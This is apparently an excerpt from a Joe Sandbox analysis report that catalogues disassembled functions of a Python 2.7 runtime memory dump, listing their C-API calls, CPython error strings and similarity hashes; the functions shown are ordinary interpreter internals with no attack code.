Instruction Fuzzy Hash: 6621367EB002144BD704DAA5E940E9BB3B8EF94768B154629ED0CCBB41D739E886CBC0

Function 6C177F40 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 75COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E5B38,tuple assignment index out of range,00000000), ref: 6C177FB2
PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\tupleobject.c,0000008E,00000000), ref: 6C177FEF

Strings

%s:%d: bad argument to internal function, xrefs: 6C177FE9
..\Objects\tupleobject.c, xrefs: 6C177FE4
tuple assignment index out of range, xrefs: 6C177FAC
8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 6C177FA7

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$FormatString
String ID: %s:%d: bad argument to internal function$..\Objects\tupleobject.c$8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$tuple assignment index out of range
API String ID: 4212644371-3924864697
Opcode ID: 00dd492a0ce539b2d7b5cffa5f6f32f28688d8a0f6557826fbe6f52812c33099
Instruction ID: 393530f2dabed68482eb7863c50a720200d4e23419a7d7d73a1887f3e5efa2fb
Opcode Fuzzy Hash: 00dd492a0ce539b2d7b5cffa5f6f32f28688d8a0f6557826fbe6f52812c33099
Instruction Fuzzy Hash: C421AF71A002054BDB15DFA8DD40D9673A8EB15338F15879AEC388BBC1DA31EC52CBE1

Function 6C12DFF0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

PySequence_Check.PYTHON27(?), ref: 6C12E024
PySequence_Check.PYTHON27(?), ref: 6C12E031
PyErr_Format.PYTHON27(6C2E48B0,'%.200s' object can't be concatenated,?), ref: 6C12E074
PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12E099

Strings

null argument to internal routine, xrefs: 6C12E093
'%.200s' object can't be concatenated, xrefs: 6C12E06E

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: CheckErr_Sequence_$FormatString
String ID: '%.200s' object can't be concatenated$null argument to internal routine
API String ID: 3037318651-586038359
Opcode ID: 904ad1a321fed3053def57b8a1f81c415b6d39469515fc0c57fc5efb9498a95e
Instruction ID: a0c3e887025ac3579a4ce4420f26f4ee62ebbed656a48fd5a88ecd8c6e2d41f3
Opcode Fuzzy Hash: 904ad1a321fed3053def57b8a1f81c415b6d39469515fc0c57fc5efb9498a95e
Instruction Fuzzy Hash: 0D11067AB001005BD710D675EC40F9773A89F95729F254124ED1C87B41D729FA82C6E5

Function 6C1595B0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 70COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\listobject.c,000000CE), ref: 6C1595F2
PyErr_SetString.PYTHON27(6C2E5B38,list assignment index out of range), ref: 6C159659

Strings

%s:%d: bad argument to internal function, xrefs: 6C1595EC
..\Objects\listobject.c, xrefs: 6C1595E7
list assignment index out of range, xrefs: 6C159653
8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 6C15964D

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$FormatString
String ID: %s:%d: bad argument to internal function$..\Objects\listobject.c$8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$list assignment index out of range
API String ID: 4212644371-1727909891
Opcode ID: 5bb8bc2ec5c41666b2009d6b12e295e7050ec583216a1c306aa231d978608e07
Instruction ID: 5d716e6ee598d8760a23aa5f88f03d7443385434784aac489cce5ea9a7e50f44
Opcode Fuzzy Hash: 5bb8bc2ec5c41666b2009d6b12e295e7050ec583216a1c306aa231d978608e07
Instruction Fuzzy Hash: DC218EF0A002059BDB04CF68DC9495533A5AB15338F544798E8388BAD1DA32E927CB82

Function 6C167FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

PyDict_New.PYTHON27 ref: 6C168006

Part of subcall function 6C144510: PyString_FromString.PYTHON27(<dummy key>,00000000,00000000,00000000,?,?,6C1650C0,?,00000014,?,6C1CDEB4), ref: 6C144529

PyErr_Clear.PYTHON27 ref: 6C168018
PyString_FromString.PYTHON27(Py_Repr), ref: 6C168031
PyDict_GetItem.PYTHON27(00000000,00000000), ref: 6C168041
PyList_SetSlice.PYTHON27(00000000,?,?,00000000), ref: 6C168098

Strings

Py_Repr, xrefs: 6C16802C

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Dict_FromStringString_$ClearErr_ItemList_Slice
String ID: Py_Repr
API String ID: 1400406548-2533070302
Opcode ID: a000f6412e44379408578a52a00a6a45c2bffb3588712c58ac928580bfcfbbef
Instruction ID: 40161066ed2a293345f2ee07e133eb9a21b992994b3dd691da9d6dd270556c1b
Opcode Fuzzy Hash: a000f6412e44379408578a52a00a6a45c2bffb3588712c58ac928580bfcfbbef
Instruction Fuzzy Hash: 8E1136312015029BEB148E56C940BA3B369FFD272CF144729ED588BE81E732E426C7D1

Function 6C163420 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

PyObject_GetBuffer.PYTHON27(?,?,0000011C), ref: 6C163452
PyMemoryView_FromBuffer.PYTHON27(?), ref: 6C163463

Part of subcall function 6C163390: _PyObject_GC_Malloc.PYTHON27(00000040), ref: 6C1633A0
Part of subcall function 6C163390: Py_FatalError.PYTHON27(GC object already tracked), ref: 6C1633DF

PyBuffer_Release.PYTHON27(?), ref: 6C163474
PyString_FromString.PYTHON27(cannot make memory view because object does not have the buffer interface), ref: 6C16349A
PyErr_SetObject.PYTHON27(6C2E48B0,00000000,cannot make memory view because object does not have the buffer interface), ref: 6C1634A3

Strings

cannot make memory view because object does not have the buffer interface, xrefs: 6C163495

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: BufferFromObject_$Buffer_Err_ErrorFatalMallocMemoryObjectReleaseStringString_View_
String ID: cannot make memory view because object does not have the buffer interface
API String ID: 795727773-947840849
Opcode ID: a1ae1e48f71effcc74433e31b6b576e5f658139a9db2ac03af7c433eca3cfc18
Instruction ID: 3f5ecea4d201232641f1c79f69620e9c32714a81222ce54c09773911eaa100bc
Opcode Fuzzy Hash: a1ae1e48f71effcc74433e31b6b576e5f658139a9db2ac03af7c433eca3cfc18
Instruction Fuzzy Hash: C111C4769012045BE301DA65AC01BEBB3E8DB5523CF04466DED2887E81FB31E92AC6D2

Function 6C12FF00 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 66COMMON

Download Yara Rule

APIs

PySequence_Check.PYTHON27(?), ref: 6C12FF18
PySeqIter_New.PYTHON27(?), ref: 6C12FF25
PyErr_Format.PYTHON27(6C2E48B0,'%.200s' object is not iterable,?), ref: 6C12FF43
PyErr_Format.PYTHON27(6C2E48B0,iter() returned non-iterator of type '%.100s',?), ref: 6C12FF84

Strings

'%.200s' object is not iterable, xrefs: 6C12FF3D
iter() returned non-iterator of type '%.100s', xrefs: 6C12FF7E

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format$CheckIter_Sequence_
String ID: '%.200s' object is not iterable$iter() returned non-iterator of type '%.100s'
API String ID: 1856588606-3403259511
Opcode ID: b892fc65afeb7687d89a00a0380b65c8e76c11d6cfb41b885e308ba3a3a9a601
Instruction ID: 391e877a1fd251779aa9a461ce79fa407fd63ab8c80393248805521efc805501
Opcode Fuzzy Hash: b892fc65afeb7687d89a00a0380b65c8e76c11d6cfb41b885e308ba3a3a9a601
Instruction Fuzzy Hash: 4A11087AB116245BD320D664A840E5673D89F16678B0446A4EC39C7F91D728FD91C7C2

Function 6C16BDC0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON27(?,?), ref: 6C16BDE1
PyType_IsSubtype.PYTHON27(?,?), ref: 6C16BDF3
_PyErr_BadInternalCall.PYTHON27(..\Objects\setobject.c,00000904), ref: 6C16BE09

Part of subcall function 6C1C0890: PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,?,6C16BD4E,?,6C16BD4E,..\Objects\setobject.c,000008F0), ref: 6C1C08AA

PyObject_Hash.PYTHON27(?), ref: 6C16BE2D

Strings

..\Objects\setobject.c, xrefs: 6C16BE04
h-l, xrefs: 6C16BE1B

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_SubtypeType_$CallFormatHashInternalObject_
String ID: ..\Objects\setobject.c$h-l
API String ID: 66917421-1789667257
Opcode ID: e11cf6161bb80d4cf3f1a180fd4c4cbd21c96cc98fa892c8a9f6ebdf592d85e1
Instruction ID: df45ffbde9d27945b0ffd6f6f1165dfb810364bafb5f7d4423e9b3f7935594d1
Opcode Fuzzy Hash: e11cf6161bb80d4cf3f1a180fd4c4cbd21c96cc98fa892c8a9f6ebdf592d85e1
Instruction Fuzzy Hash: BE11043260112416CA1046ABAC41ADBB3A89E3127EF258225FE2CD7E81E321F87191E2

Function 6C12F070 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59COMMON

Download Yara Rule

APIs

_Py_CheckRecursiveCall.PYTHON27( while calling a Python object,00000001,?,?,6C1B2AB3,00000000,?,6C100E50), ref: 6C12F0A5

Part of subcall function 6C1AE7C0: PyOS_CheckStack.PYTHON27(?,?,6C12F0AA, while calling a Python object,00000001,?,?,6C1B2AB3,00000000,?,6C100E50), ref: 6C1AE7CA
Part of subcall function 6C1AE7C0: PyErr_SetString.PYTHON27(6C2E67A8,Stack overflow,?,?,6C12F0AA, while calling a Python object,00000001,?,?,6C1B2AB3,00000000,?,6C100E50), ref: 6C1AE7E1

PyErr_SetString.PYTHON27(6C2E65C8,NULL result without error in PyObject_Call,?,00000000,00000000), ref: 6C12F0E4
PyErr_Format.PYTHON27(6C2E48B0,'%.200s' object is not callable,?,00000001,?,?,6C1B2AB3,00000000,?,6C100E50), ref: 6C12F102

Strings

'%.200s' object is not callable, xrefs: 6C12F0FC
while calling a Python object, xrefs: 6C12F0A0
NULL result without error in PyObject_Call, xrefs: 6C12F0DE

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$CheckString$CallFormatRecursiveStack
String ID: while calling a Python object$'%.200s' object is not callable$NULL result without error in PyObject_Call
API String ID: 3585756785-4047954617
Opcode ID: e1dbc1cf644402cce8d7de29d346b8595beb9587ac4600ce67c1280d3465d515
Instruction ID: 380209737313626f5b4daf66afbffd6721dc65088ceeb8a1a3ecacecd22a88be
Opcode Fuzzy Hash: e1dbc1cf644402cce8d7de29d346b8595beb9587ac4600ce67c1280d3465d515
Instruction Fuzzy Hash: 1E11A079B00224AFCB04DB59D984966B3B8EB59368B04C119ED08C7741D736E851CBC0

Function 6C0A7570 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 49COMMON

Download Yara Rule

APIs

PyArg_UnpackTuple.PYTHON27(?,field_size_limit,00000000,00000001,?), ref: 6C0A7593

Part of subcall function 6C1C5D90: PyString_FromString.PYTHON27(PyArg_UnpackTuple() argument list is not a tuple), ref: 6C1C5DB2
Part of subcall function 6C1C5D90: PyErr_SetObject.PYTHON27(6C2E65C8,00000000,PyArg_UnpackTuple() argument list is not a tuple), ref: 6C1C5DBB

PyErr_Format.PYTHON27(6C2E48B0,limit must be an integer), ref: 6C0A75BD
PyInt_AsLong.PYTHON27(00000000), ref: 6C0A75CD
PyInt_FromLong.PYTHON27(00020000), ref: 6C0A75EC

Strings

field_size_limit, xrefs: 6C0A7586
limit must be an integer, xrefs: 6C0A75B7

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_FromInt_Long$Arg_FormatObjectStringString_TupleUnpack
String ID: field_size_limit$limit must be an integer
API String ID: 967242494-1264440769
Opcode ID: d6614b3cb20aced8c777f60bb8b74a859487ed2badd36066ce95e8d205c056b2
Instruction ID: 34763b835a19e85b3ccb8eec7479473d8f15338aa87270c7d8c2e31c6ee39ece
Opcode Fuzzy Hash: d6614b3cb20aced8c777f60bb8b74a859487ed2badd36066ce95e8d205c056b2
Instruction Fuzzy Hash: D201D8B1B142056BDA00DAF8AD45F9633FC9B0532CF148155F819C7682E771DA15C795

Function 6C0A80B0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Py_InitModule4.PYTHON27(_functools,6C30E454,Tools that operate on functions.,00000000,000003F5), ref: 6C0A80DB
PyType_Ready.PYTHON27(6C30E390), ref: 6C0A80F1
strchr.MSVCR90 ref: 6C0A8103
PyModule_AddObject.PYTHON27(00000000,00000001,6C30E391), ref: 6C0A810F

Part of subcall function 6C1CEC70: PyType_IsSubtype.PYTHON27(?,?,?,?,6C0A57F9,00000000,deque,6C30FF60), ref: 6C1CEC87
Part of subcall function 6C1CEC70: PyErr_SetString.PYTHON27(6C2E48B0,PyModule_AddObject() needs module as first arg,deque,6C30FF60), ref: 6C1CEC9E

Strings

Tools that operate on functions., xrefs: 6C0A80C1
_functools, xrefs: 6C0A80D0

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Type_$Err_InitModule4Module_ObjectReadyStringSubtypestrchr
String ID: Tools that operate on functions.$_functools
API String ID: 2866601250-1707497487
Opcode ID: 678d89e69e1b4fc25a19e8844c3fbe951fb56d98406fc7cea616aa3d8019cf1b
Instruction ID: e4e5030db9a11244605ec386f5b76528857f47dabfd52e6039b295a509fb808a
Opcode Fuzzy Hash: 678d89e69e1b4fc25a19e8844c3fbe951fb56d98406fc7cea616aa3d8019cf1b
Instruction Fuzzy Hash: 28F07872F4024427C6305AD95C45FAB7AACCF80614F000562FD5997A02E72499018BE2

Function 6C167530 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

PyObject_GetAttrString.PYTHON27(?,__dict__,6C2E9E88,?,6C167768,?,?,?,?,?,?,?,?,6C1677F7), ref: 6C16753A
PyDict_Keys.PYTHON27(00000000), ref: 6C167555
PyModule_GetName.PYTHON27(?), ref: 6C167562
PyErr_Format.PYTHON27(6C2E48B0,%.200s.__dict__ is not a dictionary,00000000), ref: 6C16757B

Strings

%.200s.__dict__ is not a dictionary, xrefs: 6C167575
__dict__, xrefs: 6C167532

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: AttrDict_Err_FormatKeysModule_NameObject_String
String ID: %.200s.__dict__ is not a dictionary$__dict__
API String ID: 1862186721-2745307267
Opcode ID: db00e8742dfc4e87a6efde7a8d83e37bbc1d27c4d1a75ada6b3ca4aef59681d7
Instruction ID: a1e937c9ca1dfd3fd1d853354bb2d96012aac6e0bc50a4629cb995cdd04e0e4f
Opcode Fuzzy Hash: db00e8742dfc4e87a6efde7a8d83e37bbc1d27c4d1a75ada6b3ca4aef59681d7
Instruction Fuzzy Hash: 6DF0E0B1E017116BD7108A757C80F9B33585F2572CF140669EC2586F41E719DD79C6D1

Function 6C177ED0 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 36COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\tupleobject.c,0000007D,?,6C13A9F5,?,00000000,?,?,?,?,?,?,6C12F9FC,?), ref: 6C177EF8

Strings

%s:%d: bad argument to internal function, xrefs: 6C177EF2
..\Objects\tupleobject.c, xrefs: 6C177EED
8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt, xrefs: 6C177F1A
tuple index out of range, xrefs: 6C177F20

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %s:%d: bad argument to internal function$..\Objects\tupleobject.c$8[.lfunction(code, globals[, name[, argdefs[, closure]]])Create a function object from a code object and a dictionary.The optional name string overrides the name from the code object.The optional argdefs tuple specifies the default argument values.The opt$tuple index out of range
API String ID: 376477240-3141667263
Opcode ID: 817f51a75aef8942f662866760964006516709f7567728b5e62e3e150d006f74
Instruction ID: 19b383af3b88dcaf10f2be8a1a13659215e4a2ab40f7ca83bd6e4e4846ff754b
Opcode Fuzzy Hash: 817f51a75aef8942f662866760964006516709f7567728b5e62e3e150d006f74
Instruction Fuzzy Hash: 02F0B4397041085BD621DEA8ED45F1573A4DB05318F148ACAFC2CD7B81E633E862DBD1

Function 6C0B1E80 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 21COMMON

Download Yara Rule

APIs

PyType_Ready.PYTHON27(6C30AAA0), ref: 6C0B1E85
Py_InitModule4.PYTHON27(_random,00000000,Module implements the Mersenne Twister random number generator.,00000000,000003F5), ref: 6C0B1EA4
PyModule_AddObject.PYTHON27(00000000,Random,6C30AAA0), ref: 6C0B1EC1

Part of subcall function 6C1CEC70: PyType_IsSubtype.PYTHON27(?,?,?,?,6C0A57F9,00000000,deque,6C30FF60), ref: 6C1CEC87
Part of subcall function 6C1CEC70: PyErr_SetString.PYTHON27(6C2E48B0,PyModule_AddObject() needs module as first arg,deque,6C30FF60), ref: 6C1CEC9E

Strings

_random, xrefs: 6C0B1E9F
Random, xrefs: 6C0B1EBB
Module implements the Mersenne Twister random number generator., xrefs: 6C0B1E98

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

